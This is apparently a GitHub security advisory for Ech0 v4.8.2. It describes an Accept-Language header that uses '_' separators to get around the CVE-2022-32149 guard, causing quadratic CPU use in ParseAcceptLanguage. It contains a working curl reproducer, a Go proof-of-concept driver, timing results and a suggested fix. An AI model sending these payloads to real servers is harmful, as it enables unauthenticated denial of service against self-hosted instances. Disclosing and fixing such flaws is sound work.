Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware

Summary

Ech0's i18n middleware runs on every HTTP request and constructs a fresh *goi18n.Localizer from the raw Accept-Language header without imposing any size or shape filter. goi18n.NewLocalizer calls golang.org/x/text/language.ParseAcceptLanguage on the value internally. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns about 1.5 seconds of server CPU on the host running Ech0; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.

Affected versions

github.com/lin-snow/Ech0 v4.8.2 and (per code inspection of main) earlier 4.x versions that wire the internal/i18n.Middleware() gin middleware on the global router without imposing their own size limit on Accept-Language. Verified on:

• the official ghcr.io/lin-snow/ech0:latest Docker image at v4.8.2 (E2E below)
• main at commit 451c7c10eb1f23f7525c163e83f8b39f46d5aad0 by reading internal/i18n/i18n.go (the middleware and setLocaleContext call site are unchanged)

Privilege required

Unauthenticated. The i18n.Middleware runs for every HTTP request including the public landing page, the public comments feed, and the unauthenticated /api/echo/page endpoint.

Vulnerable code

internal/i18n/i18n.go (blob SHA 451c7c10eb1f23f7525c163e83f8b39f46d5aad0), the gin middleware Middleware() at lines 202-213:

func Middleware() gin.HandlerFunc {
    return func(ctx *gin.Context) {
        explicit := explicitLocaleFromRequest(ctx)
        acceptLanguage := strings.TrimSpace(ctx.GetHeader("Accept-Language"))
        locale := systemDefaultLocale()
        if explicit != "" {
            locale = ResolveLocale(explicit, acceptLanguage)
        }
        setLocaleContext(ctx, locale, acceptLanguage)
        ctx.Next()
    }
}

setLocaleContext at line 191 then calls NewLocalizer(normalized, acceptLanguage):

func setLocaleContext(ctx *gin.Context, locale, acceptLanguage string) {
    if ctx == nil {
        return
    }
    normalized := ResolveLocale(locale)
    localizer := NewLocalizer(normalized, acceptLanguage)
    ctx.Set(ContextLocaleKey, normalized)
    ctx.Set(ContextLocalizerKey, localizer)
    ctx.Header("Content-Language", normalized)
}

NewLocalizer is a thin wrapper around goi18n.NewLocalizer, which internally calls language.ParseAcceptLanguage(lang) for every passed string in its parseTags helper (see github.com/nicksnyder/go-i18n/[email protected]/i18n/localizer.go:42-50). So the unfiltered acceptLanguage reaches language.ParseAcceptLanguage on every request.

ctx.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Ech0 does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

The additional ResolveLocale path at line 208 also calls language.ParseAcceptLanguage(strings.Join(parts, ",")) directly when X-Locale or the lang query parameter is set, with the same vector and a longer-running effect (the input concatenates explicit + acceptLanguage so the parser sees both, and the path is exercised twice).

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.

How Accept-Language reaches ParseAcceptLanguage

The middleware sequence on any HTTP request:

1. The request enters i18n.Middleware().
2. ctx.GetHeader("Accept-Language") returns the full attacker-supplied header value.
3. setLocaleContext is called with that value.
4. NewLocalizer(normalized, acceptLanguage) constructs a goi18n localizer; goi18n's parseTags calls language.ParseAcceptLanguage(acceptLanguage) unfiltered.

No size or character-class filter is applied between (2) and (4). When X-Locale or ?lang= is also present, the parser is invoked twice on related input via the explicit ResolveLocale(explicit, acceptLanguage) path at line 210.

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh ghcr.io/lin-snow/ech0:latest container:

docker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest
sleep 5

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:18300/

Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against ghcr.io/lin-snow/ech0:latest at v4.8.2)

A Go driver poc.go boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):

// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:18300/"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 60 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
    send("attack ('_' x 1MiB)",     buildPayload("_", 1<<20))
    send("attack repeat 2",          buildPayload("_", 1<<20))
    send("attack repeat 3",          buildPayload("_", 1<<20))
}

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official ghcr.io/lin-snow/ech0:latest image at v4.8.2):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
lin-snow/Ech0 v4.8.2 i18n middleware at
internal/i18n/i18n.go (Middleware -> setLocaleContext -> NewLocalizer).

Target: http://127.0.0.1:18300/   payload=1048576 B

  warm-up                                      header=0 B  '_'=0  '-'=0  status=200  t=7.692458ms

--- measurements (single request each) ---
  baseline (no header)                         header=0 B  '_'=0  '-'=0  status=200  t=2.666625ms
  baseline (1 short tag)                       header=5 B  '_'=0  '-'=1  status=200  t=1.981333ms
  guard-fires control ('-' x payload)          header=1048572 B  '_'=0  '-'=104857  status=200  t=21.445083ms
  attack ('_' x payload)                       header=1048572 B  '_'=104857  '-'=0  status=200  t=1.489513083s
  attack repeat 2                              header=1048572 B  '_'=104857  '-'=0  status=200  t=1.501842542s
  attack repeat 3                              header=1048572 B  '_'=104857  '-'=0  status=200  t=1.571093458s

Setting X-Locale: en in addition (which triggers the explicit-locale ResolveLocale path at line 210, calling ParseAcceptLanguage(strings.Join(parts, ",")) directly) makes the same request take ~7.9 s on the same host — the attacker doubles the work by adding one short header. Setting ?lang=en in the query gives ~3 s.

Interpretation:

Request	Header bytes	Server time
no header / short tag	0 - 5	2 - 8 ms
1 MiB - separators (CVE-2022-32149 guard fires)	1 MiB	21 ms
1 MiB _ separators (guard bypassed), no X-Locale	1 MiB	1.5 - 1.6 s
1 MiB _ separators with X-Locale: en	1 MiB	~7.9 s

The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator. The _ attack returns 200 from the same endpoint but consumes ~1.5 s of server CPU on the default path and ~7.9 s when the attacker adds a one-byte X-Locale: en header. The amplification factor at the application boundary is ~70x in the default case (21 ms guard-fires vs 1.5 s attack on the same 1 MiB header) and ~370x in the X-Locale variant.

Impact

• One unauthenticated client can pin one CPU core for ~1.5 seconds per 1 MiB request, or ~7.9 seconds if the attacker adds the X-Locale: en header.
• Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Ech0 instance indefinitely.
• The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.
• Self-hosted Ech0 instances published to the public internet (the documented use case) are exposed.

Suggested fix

Apply the size / character-class filter at the i18n middleware boundary, before the Accept-Language value reaches setLocaleContext (and through it NewLocalizer). The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and drop the header when the total exceeds a small ceiling:

// internal/i18n/i18n.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10

func sanitizeAcceptLanguage(v string) string {
    if strings.Count(v, "-")+strings.Count(v, "_") > maxAcceptLanguageSeparators {
        return ""
    }
    return v
}

func Middleware() gin.HandlerFunc {
    return func(ctx *gin.Context) {
        explicit := explicitLocaleFromRequest(ctx)
        acceptLanguage := sanitizeAcceptLanguage(strings.TrimSpace(ctx.GetHeader("Accept-Language")))
        locale := systemDefaultLocale()
        if explicit != "" {
            locale = ResolveLocale(explicit, acceptLanguage)
        }
        setLocaleContext(ctx, locale, acceptLanguage)
        ctx.Next()
    }
}

The same sanitizeAcceptLanguage should be applied wherever Accept-Language is consumed (HeaderLocale at line 230 and the user.go paths at lines 80, 275 that pass user input into ResolveLocale).

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.

Credit

Reported by tonghuaroot.

Fix PR

https://github.com/lin-snow/Ech0-ghsa-mqxv-9rm6-w8qc/pull/1